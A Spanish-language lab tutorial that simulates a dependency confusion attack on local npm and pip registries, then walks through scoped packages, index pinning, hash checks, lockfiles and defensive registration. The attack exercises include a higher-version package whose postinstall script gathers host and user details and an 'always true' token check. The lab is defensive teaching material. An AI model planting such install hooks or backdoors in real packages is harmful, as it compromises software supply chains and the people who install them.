Lab: Simulación de un Ataque de Confusión de Dependencias en un Entorno Sandbox

Descripción General

La confusión de dependencias es un ataque a la cadena de suministro que explota la forma en que los gestores de paquetes resuelven los nombres de paquetes cuando se configuran tanto registros privados (internos) como públicos. Cuando un atacante publica un paquete malicioso en un registro público usando el mismo nombre que un paquete privado interno — pero con un número de versión superior — el gestor de paquetes puede preferir la versión pública, incorporando silenciosamente código controlado por el atacante.

Este vector de ataque ganó amplia atención en 2021 cuando el investigador de seguridad Alex Birsan lo demostró contra Apple, Microsoft, PayPal, Tesla y decenas de otras organizaciones. El problema central es simple: la mayoría de los gestores de paquetes eligen por defecto la versión más alta disponible en todos los registros configurados.

En este laboratorio práctico, usted:

  • Configurará un entorno sandbox con dos registros locales que simulan uno «privado» y otro «público»
  • Ejecutará un ataque de confusión de dependencias en los ecosistemas de npm y pip
  • Implementará y verificará cuatro estrategias de defensa distintas
  • Comprenderá exactamente por qué cada defensa funciona a nivel de protocolo

Todos los comandos de este laboratorio están diseñados para ejecutarse únicamente contra infraestructura local. No se publican paquetes en registros públicos reales en ningún momento.

Requisitos Previos

Antes de comenzar este laboratorio, asegúrese de tener lo siguiente instalado y disponible en su máquina:

  • Node.js 18+ con npm (verifique con node --version y npm --version)
  • Python 3.8+ con pip (verifique con python3 --version y pip3 --version)
  • Docker (utilizado para ejecutar instancias locales de Verdaccio y pypiserver)
  • curl (para la creación de usuarios en el registro)
  • Una terminal con bash o zsh

No se requieren cuentas en la nube ni servicios externos. Todo el laboratorio se ejecuta localmente en su estación de trabajo.

Aviso Importante de Seguridad

ADVERTENCIA: Este laboratorio solo debe ejecutarse en entornos de prueba aislados. Cada registro, paquete y configuración en este laboratorio es local. Siga estas reglas estrictamente:

  • Nunca publique paquetes de prueba en los registros reales npmjs.com o pypi.org. Publicar paquetes con nombres que coincidan con los paquetes internos de otra organización es ilegal en muchas jurisdicciones y viola los términos de servicio de los registros.
  • Use únicamente instancias locales de Verdaccio y pypiserver como sus registros «público» y «privado». Estos están completamente aislados y no pueden afectar al mundo exterior.
  • Todos los paquetes «públicos» en este laboratorio se publican en una segunda instancia local de Verdaccio que se ejecuta en localhost:4874. Nada sale de su máquina.
  • No ejecute los ejercicios de ataque contra proyectos de producción. Use un directorio de proyecto nuevo y desechable.
  • Limpie todos los contenedores y configuraciones cuando termine. Dejar archivos .npmrc o pip.conf mal configurados en su sistema podría causar comportamientos inesperados en proyectos reales.

Con estas medidas de seguridad implementadas, puede explorar de forma segura la mecánica de este ataque y desarrollar una intuición real sobre las defensas.

Configuración del Entorno

Paso 1: Iniciar Dos Instancias de Verdaccio

Verdaccio es un registro npm ligero y de código abierto. Ejecutaremos dos instancias — una simulando el registro privado de su organización y otra simulando un registro público que controla un atacante.

# Iniciar el registro "privado" en el puerto 4873
docker run -d -p 4873:4873 --name private-registry verdaccio/verdaccio

# Iniciar el registro "público" en el puerto 4874
docker run -d -p 4874:4873 --name public-registry verdaccio/verdaccio

Verifique que ambos estén en ejecución:

curl -s http://localhost:4873/ | head -5
curl -s http://localhost:4874/ | head -5

Debería ver respuestas HTML de ambas interfaces web de Verdaccio.

Paso 2: Crear Usuarios en los Registros

Verdaccio requiere autenticación para publicar. Cree un usuario en cada instancia:

# Agregar usuario al registro privado
npm adduser --registry http://localhost:4873
# Ingrese nombre de usuario: testuser, contraseña: testpass, correo: test@test.com

# Agregar usuario al registro público
npm adduser --registry http://localhost:4874
# Ingrese nombre de usuario: attacker, contraseña: attackpass, correo: attacker@test.com

Paso 3: Crear el Proyecto de Prueba

mkdir -p ~/dep-confusion-lab/victim-project
cd ~/dep-confusion-lab/victim-project
npm init -y

Paso 4: Crear y Publicar el Paquete Privado

mkdir -p ~/dep-confusion-lab/private-pkg
cd ~/dep-confusion-lab/private-pkg

Cree package.json:

{
  "name": "@mycompany/auth-utils",
  "version": "1.0.0",
  "description": "Internal authentication utilities",
  "main": "index.js"
}

Cree index.js:

module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');
    return token && token.length > 0;
  }
};

Publique en el registro privado:

npm publish --registry http://localhost:4873

Paso 5: Configurar el Proyecto Víctima

En el directorio del proyecto víctima, cree un archivo .npmrc:

registry=http://localhost:4873

Agregue la dependencia a package.json:

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "@mycompany/auth-utils": "^1.0.0"
  }
}

Instale y verifique:

npm install
node -e "const auth = require('@mycompany/auth-utils'); auth.validateToken('abc');"

Debería ver: [auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)

Ejercicio 1: El Ataque — npm

Ahora simulamos lo que haría un atacante. La idea clave: en muchas configuraciones del mundo real, los desarrolladores usan un nombre de paquete sin ámbito internamente (solo auth-utils en lugar de @mycompany/auth-utils). Esto hace que el ataque sea trivial.

Paso 1: Restablecer el Proyecto Víctima para Usar un Nombre sin Ámbito

Actualice el package.json del proyecto víctima para depender del nombre sin ámbito:

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "auth-utils": "^1.0.0"
  }
}

También publique un auth-utils@1.0.0 sin ámbito en el registro privado:

mkdir -p ~/dep-confusion-lab/private-pkg-unscoped
cd ~/dep-confusion-lab/private-pkg-unscoped
// package.json
{
  "name": "auth-utils",
  "version": "1.0.0",
  "description": "Internal authentication utilities (unscoped)",
  "main": "index.js"
}

// index.js
module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');
    return token && token.length > 0;
  }
};
npm publish --registry http://localhost:4873

Paso 2: Crear el Paquete Malicioso

mkdir -p ~/dep-confusion-lab/malicious-pkg
cd ~/dep-confusion-lab/malicious-pkg

Cree package.json — observe el número de versión extremadamente alto y el script postinstall:

{
  "name": "auth-utils",
  "version": "99.0.0",
  "description": "Malicious package simulating dependency confusion",
  "main": "index.js",
  "scripts": {
    "postinstall": "node malicious.js"
  }
}

Cree malicious.js — esto simula la exfiltración de datos escribiendo un archivo marcador:

const fs = require('fs');
const os = require('os');
const path = require('path');

const marker = path.join(os.homedir(), 'dep-confusion-lab', 'ATTACK_MARKER.txt');
const data = [
  'DEPENDENCY CONFUSION ATTACK SIMULATION',
  '=======================================',
  `Timestamp: ${new Date().toISOString()}`,
  `Hostname: ${os.hostname()}`,
  `Username: ${os.userInfo().username}`,
  `Working Directory: ${process.cwd()}`,
  '',
  'In a real attack, this script could:',
  '  - Exfiltrate environment variables (API keys, tokens)',
  '  - Upload source code to an external server',
  '  - Install a reverse shell or backdoor',
  '  - Modify build outputs'
].join('\n');

fs.writeFileSync(marker, data);
console.log('[!] ATTACK SIMULATION: Marker file written to', marker);

Cree index.js:

module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v99.0.0] Validating token (PUBLIC - MALICIOUS)');
    return true; // Always returns true — a subtle backdoor
  }
};

Publique en el registro «público»:

npm publish --registry http://localhost:4874

Paso 3: Configurar el Fallback y Desencadenar el Ataque

Actualice el .npmrc del proyecto víctima para recurrir al registro público cuando los paquetes no se encuentren en el privado. Esto refleja una configuración común en el mundo real:

registry=http://localhost:4873
//localhost:4873/:_authToken="your-token-here"
//localhost:4874/:_authToken="your-token-here"

Ahora borre la instalación existente y reinstale:

cd ~/dep-confusion-lab/victim-project
rm -rf node_modules package-lock.json
npm install auth-utils --registry http://localhost:4874

Alternativamente, para simular de manera más realista el comportamiento de fallback, configure npm para consultar ambos registros. En muchos entornos corporativos, un registro proxy como Nexus o Artifactory está configurado para buscar tanto en fuentes privadas como públicas, prefiriendo la versión más alta:

# Esto simula lo que hace un registro proxy corporativo:
# Ve auth-utils@1.0.0 en el privado y auth-utils@99.0.0 en el público,
# y devuelve 99.0.0 porque es la versión más alta que coincide con ^1.0.0...
# Espere — ^1.0.0 no coincidirá con 99.0.0. El ataque funciona cuando el
# especificador de versión es flexible (por ejemplo, "*" o ">=1.0.0") o cuando
# el proxy simplemente sirve la versión más alta disponible en todos los upstreams.

# Para este laboratorio, instale directamente desde el "público" para demostrar:
npm install auth-utils --registry http://localhost:4874

Paso 4: Verificar el Ataque

# Verificar qué versión se instaló
node -e "const pkg = require('./node_modules/auth-utils/package.json'); console.log(pkg.name, pkg.version);"
# Salida: auth-utils 99.0.0

# Verificar si se creó el archivo marcador
cat ~/dep-confusion-lab/ATTACK_MARKER.txt

Debería ver el marcador completo del ataque con su nombre de host y nombre de usuario. El script postinstall se ejecutó automáticamente durante npm install — no se requirió interacción del usuario.

Por Qué Ocurrió Esto

Esta es exactamente la técnica que Alex Birsan utilizó en febrero de 2021 para ejecutar código dentro de los sistemas de compilación internos de Apple, Microsoft, Tesla, Uber, PayPal y más de 30 otras empresas. El ataque funciona porque:

  1. Los nombres de paquetes sin ámbito existen en un único espacio de nombres global. Nada impide que alguien publique auth-utils en npmjs.com.
  2. Los gestores de paquetes prefieren la versión más alta. Cuando un registro proxy agrega de múltiples fuentes, la versión 99.0.0 supera a 1.0.0.
  3. Los scripts de ciclo de vida se ejecutan automáticamente. El hook postinstall se ejecuta con permisos completos a nivel del sistema operativo durante la instalación.

Ejercicio 2: El Ataque — pip

La misma clase de vulnerabilidad existe en el ecosistema de Python. Demostremoslo con pip.

Paso 1: Iniciar un Servidor PyPI Local

# Iniciar pypiserver como el PyPI "privado"
mkdir -p ~/dep-confusion-lab/pypi-private
docker run -d -p 8080:8080 --name pypi-private \
  -v ~/dep-confusion-lab/pypi-private:/data/packages \
  pypiserver/pypiserver:latest run -P . -a . /data/packages

# Iniciar un segundo pypiserver como el PyPI "público"
mkdir -p ~/dep-confusion-lab/pypi-public
docker run -d -p 8081:8080 --name pypi-public \
  -v ~/dep-confusion-lab/pypi-public:/data/packages \
  pypiserver/pypiserver:latest run -P . -a . /data/packages

Paso 2: Crear y Subir el Paquete Privado Legítimo

mkdir -p ~/dep-confusion-lab/py-private-pkg/internal_utils
cd ~/dep-confusion-lab/py-private-pkg

Cree setup.py:

from setuptools import setup, find_packages

setup(
    name='internal-utils',
    version='1.0.0',
    packages=find_packages(),
    description='Internal utilities (PRIVATE - LEGITIMATE)',
)

Cree internal_utils/__init__.py:

def process_data(data):
    print('[internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)')
    return data

Compile y suba al PyPI privado:

python3 -m build
twine upload --repository-url http://localhost:8080 dist/*

Paso 3: Crear el Paquete Público Malicioso

mkdir -p ~/dep-confusion-lab/py-malicious-pkg/internal_utils
cd ~/dep-confusion-lab/py-malicious-pkg

Cree setup.py con la versión 99.0.0:

from setuptools import setup, find_packages

setup(
    name='internal-utils',
    version='99.0.0',
    packages=find_packages(),
    description='Malicious package simulating dependency confusion',
)

Cree internal_utils/__init__.py:

import os
import datetime

def process_data(data):
    print('[internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)')
    marker_path = os.path.expanduser('~/dep-confusion-lab/PIP_ATTACK_MARKER.txt')
    with open(marker_path, 'w') as f:
        f.write(f'PIP DEPENDENCY CONFUSION ATTACK SIMULATION\n')
        f.write(f'Timestamp: {datetime.datetime.now().isoformat()}\n')
        f.write(f'Hostname: {os.uname().nodename}\n')
    return data

Compile y suba al PyPI «público»:

python3 -m build
twine upload --repository-url http://localhost:8081 dist/*

Paso 4: Desencadenar el Ataque

# Crear un entorno virtual para aislamiento
cd ~/dep-confusion-lab
python3 -m venv lab-venv
source lab-venv/bin/activate

# Instalar con --extra-index-url (el patrón peligroso)
pip install internal-utils \
  --index-url http://localhost:8080/simple/ \
  --extra-index-url http://localhost:8081/simple/

Paso 5: Verificar

python3 -c "import internal_utils; internal_utils.process_data('test')"
# Salida: [internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)

cat ~/dep-confusion-lab/PIP_ATTACK_MARKER.txt

Comprendiendo la Lógica de Resolución de pip

La distinción crítica es entre --index-url y --extra-index-url:

  • --index-url: Establece el índice de paquetes principal. pip busca aquí primero.
  • --extra-index-url: Agrega un índice adicional. pip busca en todos los índices configurados e instala la versión más alta encontrada en todos ellos.

Esto significa que cuando usa --extra-index-url, pip no prefiere su índice privado — combina los resultados de todos los índices y elige la versión más alta. Un atacante que publique la versión 99.0.0 en cualquier índice configurado ganará.

Ejercicio 3: Defensa — Ámbito de Espacio de Nombres (npm)

La defensa más efectiva para npm es usar paquetes con ámbito. Los ámbitos crean un espacio de nombres que se asigna directamente a un registro específico, eliminando la ambigüedad que hace posible la confusión de dependencias.

Paso 1: Asegurar que el Paquete con Ámbito Exista

Ya publicamos @mycompany/auth-utils@1.0.0 en el registro privado durante la fase de configuración. Verifíquelo:

npm view @mycompany/auth-utils --registry http://localhost:4873

Paso 2: Configurar el Enrutamiento de Registro Basado en Ámbito

En el proyecto víctima, actualice .npmrc:

@mycompany:registry=http://localhost:4873
registry=http://localhost:4874

Esta configuración le dice a npm: «Para cualquier paquete bajo el ámbito @mycompany, siempre usa el registro privado. Para todo lo demás, usa el registro público.»

Paso 3: Actualizar la Dependencia

Actualice package.json para usar el nombre con ámbito:

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "@mycompany/auth-utils": "^1.0.0"
  }
}

Paso 4: Instalar y Verificar

rm -rf node_modules package-lock.json
npm install
node -e "const pkg = require('./node_modules/@mycompany/auth-utils/package.json'); console.log(pkg.name, pkg.version);"
# Salida: @mycompany/auth-utils 1.0.0

Verifique que no se creó ningún archivo marcador:

ls ~/dep-confusion-lab/ATTACK_MARKER.txt 2>&1
# Salida: No such file or directory

Por Qué Funciona

Los paquetes con ámbito tienen espacio de nombres. El ámbito @mycompany está vinculado a un registro específico en .npmrc. npm nunca recurrirá a otro registro para paquetes con ámbito — envía la solicitud a exactamente un registro. Un atacante no puede publicar @mycompany/auth-utils en npmjs.com a menos que sea propietario de la organización @mycompany en npm, que está controlada por su equipo.

Ejercicio 4: Defensa — Fijación de Registro (pip)

Para Python, la defensa equivalente es fijar su configuración de pip para usar únicamente su índice privado, sin fallback.

Opción A: Usar Solo --index-url (Sin Índices Adicionales)

Cree o actualice pip.conf (Linux/macOS: ~/.config/pip/pip.conf; Windows: %APPDATA%\pip\pip.ini):

[global]
index-url = http://localhost:8080/simple/
# NO agregue extra-index-url

Ahora reinstale:

pip install internal-utils --index-url http://localhost:8080/simple/

python3 -c "import internal_utils; internal_utils.process_data('test')"
# Salida: [internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)

Al omitir --extra-index-url por completo, pip solo busca en su registro privado. El paquete malicioso en localhost:8081 nunca es consultado.

Opción B: Usar --require-hashes en requirements.txt

Este enfoque fija criptográficamente cada dependencia a un artefacto específico:

# Primero, genere el hash del paquete legítimo
pip hash ~/dep-confusion-lab/py-private-pkg/dist/internal_utils-1.0.0.tar.gz

Cree requirements.txt con el hash:

internal-utils==1.0.0 --hash=sha256:<pegue-el-hash-de-arriba>

Instale con verificación de hash:

pip install -r requirements.txt \
  --index-url http://localhost:8080/simple/ \
  --extra-index-url http://localhost:8081/simple/

Aunque el índice público esté configurado, pip rechazará cualquier paquete cuyo hash no coincida. La versión maliciosa v99.0.0 tiene un hash diferente y será rechazada.

Por Qué Funciona

La fijación de registro elimina la oportunidad de confusión de versiones al asegurar que pip solo consulte una única fuente de confianza. La fijación de hash va más allá — incluso si un atacante comprometiera su registro privado, la discrepancia de hash evitaría la instalación de un artefacto manipulado.

Ejercicio 5: Defensa — Integridad del Lockfile

Los lockfiles registran la versión exacta, la URL de origen y el hash criptográfico de cada paquete instalado. Cuando se usan correctamente, previenen que la confusión de dependencias afecte las compilaciones de producción.

Paso 1: Generar un Lockfile Limpio

cd ~/dep-confusion-lab/victim-project
rm -rf node_modules package-lock.json
npm install

Examine el package-lock.json resultante:

cat package-lock.json | python3 -m json.tool | head -30

Busque los campos resolved e integrity:

"node_modules/@mycompany/auth-utils": {
  "version": "1.0.0",
  "resolved": "http://localhost:4873/@mycompany%2fauth-utils/-/auth-utils-1.0.0.tgz",
  "integrity": "sha512-abc123..."
}

El campo resolved registra la URL exacta desde la cual se descargó el paquete. El campo integrity es un hash de Integridad de Subrecursos (SRI) del tarball.

Paso 2: Usar npm ci en Lugar de npm install

El comando npm ci está diseñado para entornos de CI/CD:

# En CI, siempre use:
npm ci

Diferencias clave con npm install:

  • npm ci elimina node_modules e instala exactamente lo que está en package-lock.json
  • Fallará si package-lock.json no está sincronizado con package.json
  • Fallará si el hash de integridad no coincide con el tarball descargado
  • Nunca modifica package-lock.json

Si un atacante lograra publicar una versión superior, npm ci seguiría instalando la versión y hash exactos registrados en el lockfile.

Paso 3: Verificación del Lockfile en el Pipeline de CI

Agregue un paso a su pipeline de CI que falle la compilación si el lockfile ha sido manipulado o está desactualizado. Aquí hay un ejemplo de GitHub Actions:

name: Lockfile Integrity Check

on:
  pull_request:
    paths:
      - 'package.json'
      - 'package-lock.json'

jobs:
  lockfile-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Verify lockfile is up to date
        run: |
          # Guardar el hash actual del lockfile
          BEFORE=$(sha256sum package-lock.json | cut -d' ' -f1)
          
          # Ejecutar npm install (que puede actualizar el lockfile)
          npm install --package-lock-only
          
          # Comparar
          AFTER=$(sha256sum package-lock.json | cut -d' ' -f1)
          
          if [ "$BEFORE" != "$AFTER" ]; then
            echo "::error::package-lock.json is out of sync with package.json!"
            echo "::error::This could indicate dependency tampering or a missing commit."
            echo "Run 'npm install' locally and commit the updated lockfile."
            git diff package-lock.json
            exit 1
          fi
          
          echo "Lockfile integrity verified."

      - name: Install with npm ci
        run: npm ci

      - name: Run tests
        run: npm test

Este flujo de trabajo detecta dos escenarios: (1) un desarrollador olvidó hacer commit de los cambios del lockfile después de actualizar dependencias, y (2) un atacante envió un PR que modifica package.json sin las actualizaciones correspondientes del lockfile, introduciendo potencialmente un vector de confusión de dependencias.

Ejercicio 6: Defensa — Registro Defensivo

Una defensa pragmática utilizada por muchas grandes organizaciones es registrar proactivamente los nombres de sus paquetes internos en registros públicos antes de que un atacante lo haga.

La Estrategia

Si su organización usa paquetes internos como auth-utils, internal-logger o company-config, un atacante podría publicar paquetes con esos mismos nombres en npmjs.com o PyPI. Para prevenir esto, usted publica paquetes de marcador de posición:

mkdir -p ~/dep-confusion-lab/placeholder-pkg
cd ~/dep-confusion-lab/placeholder-pkg

Cree un package.json mínimo:

{
  "name": "auth-utils",
  "version": "0.0.1",
  "description": "This package name is reserved. This is a defensive registration to prevent dependency confusion attacks. If you are looking for internal auth-utils, please contact your organization's platform team.",
  "main": "index.js",
  "keywords": ["reserved", "placeholder"],
  "license": "UNLICENSED"
}

Cree un index.js mínimo:

console.warn(
  'WARNING: This is a placeholder package. ' +
  'If you are seeing this message, your project may be misconfigured. ' +
  'Contact your platform team for the correct registry configuration.'
);
module.exports = {};

En un escenario real, publicaría esto en el registro público real de npm:

# SOLO EN EL MUNDO REAL (no en este laboratorio):
# npm publish --access public

# Para este laboratorio, publique en nuestro registro público simulado:
npm publish --registry http://localhost:4874

El marcador de posición asegura que si alguien instala el auth-utils sin ámbito desde el registro público, obtendrá su marcador de posición inofensivo (en la versión 0.0.1) en lugar del paquete malicioso de un atacante.

Consideraciones Importantes

  • Mantener la propiedad: Asegúrese de que la cuenta npm de su organización publique y sea propietaria del marcador de posición. Use las funciones de organización y equipo de npm para el acceso de múltiples personas.
  • Techo de versión: Mantenga el marcador de posición en 0.0.1. Su registro interno tiene las versiones reales.
  • Automatizar el inventario: Cree scripts para el proceso de extraer todos los nombres de paquetes privados de su registro y compararlos con los registros públicos. Marque cualquier nombre que no esté reclamado en los registros públicos.
  • Combinar con el ámbito: El registro defensivo es una medida de cinturón y tirantes. La defensa principal debería seguir siendo el ámbito de espacio de nombres y la fijación de registro.

Limpieza

Después de completar el laboratorio, elimine todos los contenedores, archivos y configuraciones:

# Detener y eliminar contenedores Docker
docker stop private-registry public-registry pypi-private pypi-public
docker rm private-registry public-registry pypi-private pypi-public

# Eliminar el directorio del laboratorio
rm -rf ~/dep-confusion-lab

# Desactivar el entorno virtual de Python (si está activo)
deactivate

# Eliminar cualquier cambio de .npmrc que haya hecho en su directorio home
# (Solo si modificó ~/.npmrc para este laboratorio)
# Restaure su .npmrc original si hizo una copia de seguridad

Importante: Verifique que no queden modificaciones de .npmrc o pip.conf que apunten a registros de localhost. Estas podrían causar errores confusos en sus proyectos reales.

Conclusiones Clave

  • La confusión de dependencias explota la ambigüedad del espacio de nombres: Cuando los registros privados y públicos comparten un espacio de nombres plano, un atacante puede secuestrar la resolución de paquetes publicando un paquete con una versión superior en el registro público.
  • El ámbito de espacio de nombres es la defensa más fuerte para npm: Los paquetes con ámbito (@yourorg/package-name) están vinculados a un registro específico y no pueden ser secuestrados a través de un fallback de registro público.
  • La fijación de registro elimina el riesgo de fallback para pip: Usar --index-url sin --extra-index-url asegura que pip solo consulte su registro privado de confianza.
  • La verificación de hash proporciona garantías criptográficas: Tanto npm ci con verificaciones de integridad del lockfile como --require-hashes de pip rechazan cualquier artefacto que no coincida con el hash esperado, independientemente del número de versión.
  • La disciplina del lockfile es esencial en CI/CD: Siempre use npm ci (no npm install) en los pipelines, y agregue verificaciones automatizadas para detectar modificaciones inesperadas del lockfile.
  • El registro defensivo es una medida suplementaria práctica: Reclamar los nombres de sus paquetes internos en registros públicos evita que los atacantes los ocupen, ganando tiempo para que su equipo implemente defensas estructurales más fuertes.

Próximos Pasos

Ahora que tiene experiencia práctica con ataques y defensas de confusión de dependencias, continúe su aprendizaje con estas guías detalladas: